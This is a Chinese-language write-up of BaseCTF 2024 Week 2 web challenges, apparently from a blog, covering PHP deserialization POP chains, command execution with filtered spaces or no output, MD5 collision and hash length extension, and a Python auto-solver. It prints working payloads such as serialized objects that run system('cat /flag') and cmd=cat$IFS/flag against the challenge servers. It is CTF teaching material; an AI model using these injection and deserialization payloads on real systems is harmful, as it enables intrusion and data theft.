2024BaseCTF-Week2-Web

Week2

官方WP

https://j0zr0js7k7j.feishu.cn/wiki/JQbiwKdvtiR49VkMj5RcmPvPn7c

ez_ser

题目描述

简单的反序列化入门,喵喵喵

考点

  • php反序列化

题解

题面

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

先分析逻辑,思考如何构建利用链

看到了MIsc类下的getflag()函数可以获取flag,这便是我们的最终目标

怎样能调用它呢?注意到pwn类下的$this->over->getflag();,如果$this->over是MIsc类即可成功调用

$this->over->getflag();__get()魔术方法下,需要当访问不可访问或不存在的属性时触发

观察发现re类的$this->chu0->$nononono;访问了不存在的$nononono,我们接下来就需要触发__toString()魔术方法

web类的echo "lalalla".$this->kw;存在字符串拼接,可触发__toString()魔术方法,而__wakeup()是一个自动启动的方法,当反序列化后变化触发,由此思考结束,利用链为

web->__wakeup() => re->__toString() => pwn->__get($name) => Misc->getflag()

去除掉无用的代码,生成payload

<?php
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public function getflag() {
        eval("system('cat /flag');");
    }
}

$a = new web();
$b = new re();
$c = new pwn();
$d = new Misc();
$a->kw = $b;
$b->chu0 = $c;
$c->dusk = "gods";
$c->over = $d;
echo serialize($a);
?>

得到payload:O:3:"web":1:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":0:{}}}},GET传入ser即可


RCEisamazingwithspace

题目描述

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

考点

  • 命令执行

题解

题面

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd);

简单审计代码发现,仅过滤了空格,当检测到空格时程序中断

使用$IFS代替空格即可,即POST传入cmd=cat$IFS/flag

IFS是Shell命令中的变量,表示 Internal Field Separator (内部字段分隔符),$IFS默认是空字符(空格Space、Tab、换行\n)


Really EZ POP

题目描述

你已经学会反序列化了,接下来尝试手动构造 POP 链吧!

考点

  • php反序列化

题解

题面

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

老样子,先分析

Sink类的__toString()魔术方法中存在可控的eval()函数,找到了利用点,这是我们的目标

Shark类的__invoke()魔术方法存在字符串拼接,可触发__toString()魔术方法

Sea类的__get($name)魔术方法将$sea_ani()调用为函数,可触发__invoke()魔术方法

Nature类的__destruct()魔术方法访问了不存在的属性see,可触发__get($name)魔术方法

__destruct()魔术方法在对象销毁时自动触发

至此,利用链分析完毕

但是有些变量是private而非public,这就需要我们手动修改下了

先将private改为public,生成基础payload

<?php
class Sink
{
    public $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    public $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$a = new Nature();
$b = new Sea();
$c = new Shark();
$d = new Sink();
$a->sea=$b;
$b->animal=$c;
$c->word=$d;
$d->cmd="system('cat /flag');";
echo(serialize($a));
?>

得到基础payload:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:4:"word";O:4:"Sink":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}}

对于非public变量,序列化后变量遵循:
\0 + 类名 + \0 + 变量名 ‐> 反序列化为private变量
\0 + * + \0 + 变量名 ‐> 反序列化为protected变量
在浏览器中,可能需要将\0换成%00

因此修改payload为O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system('cat /flag');";}}}}

POST传参即可


一起吃豆豆

题目描述

大家都爱玩的JS小游戏

考点

  • JS代码审计

题解

一个JS小游戏,flag大概率藏在js中,又因为js代码基本都是在浏览器本地运行的,所以我们可以直接进行代码审计

当审计到index.js的第1046行时注意到了一串可疑的base64编码后的字符串,解码后即为flag


你听不到我的声音

题目描述

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

考点

  • 无回显命令执行

题解

题面

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

对于这种无回显命令执行,一是可以直接反弹shell,二是可以通过< >来写入文件

比如说可以POST传参cmd=cat /flag > flag.txt,然后访问/flag.txt路径即可获得flag


所以你说你懂 MD5?

题目描述

所以你说你懂 MD5?

考点

  • php弱比较

  • md5强碰撞

  • 哈希拓展攻击

题解

题面

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

观察发现最后可以获得flag,但是前面有五次判断

首先对于第一次判断,传数组即可通过强比较,即apple[]=1&banana[]=2

对于第二次判断,属于md5弱比较,利用0e漏洞即可,即appple=314282422&bananana=571579406

对于第三次判断,属于强比较,并且使用了(string),需要进行md5强碰撞,使用fastcoll这个工具即可生成两个内容不一样但是md5值相同的文件,例如apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

对于第四次判断,只要让$md5的最后5位是admin即可

对于第五次判断,则需要用到哈希长度拓展攻击,可使用工具hashpump

basectf2024_week2_web_md5_1

分别传入生成的$name$md5即可

综合即为

apple[]=1&banana[]=2&appple=314282422&bananana=571579406&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=<yourname>&md5=<yourmd5>

数学大师

题目描述

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

考点

  • python脚本编写

  • requets库的使用

题解

题目要求三秒内算出并提交答案,人写肯定不现实,因此需要用到python脚本,参考脚本如下

import requests
import re

url = "http://challenge.basectf.fun:26945/"
session = requests.session()
response = session.get(url).text
print(response)
while True:
    response = response.replace("×", "*")
    response = response.replace("÷", "/")
    question = re.search(r'\d+[\+\-\*\/]\d+', response).group(0)
    answer = eval(question)
    post_data = {
        "answer": answer
    }
    response = session.post(url, data=post_data).text
    print(response)
    if "Base" in response:
        break
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇